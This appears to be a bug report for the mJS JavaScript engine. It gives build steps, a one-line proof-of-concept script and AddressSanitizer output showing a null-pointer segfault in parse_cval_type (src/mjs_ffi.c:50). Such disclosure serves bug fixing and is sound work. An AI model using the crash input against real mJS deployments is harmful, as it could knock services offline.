SEGV src/mjs_ffi.c:50 in parse_cval_type

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify-6.5*321e2)(JSON.stringify([1, 2, 3])));
```

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==85157==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55e826c7824e bp 0x000000000080 sp 0x7ffe9212b1c8 T0)
==85157==The signal is caused by a READ memory access.
==85157==Hint: address points to the zero page.
    #0 0x55e826c7824d in parse_cval_type src/mjs_ffi.c:50

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_ffi.c:50 in parse_cval_type
==85157==ABORTING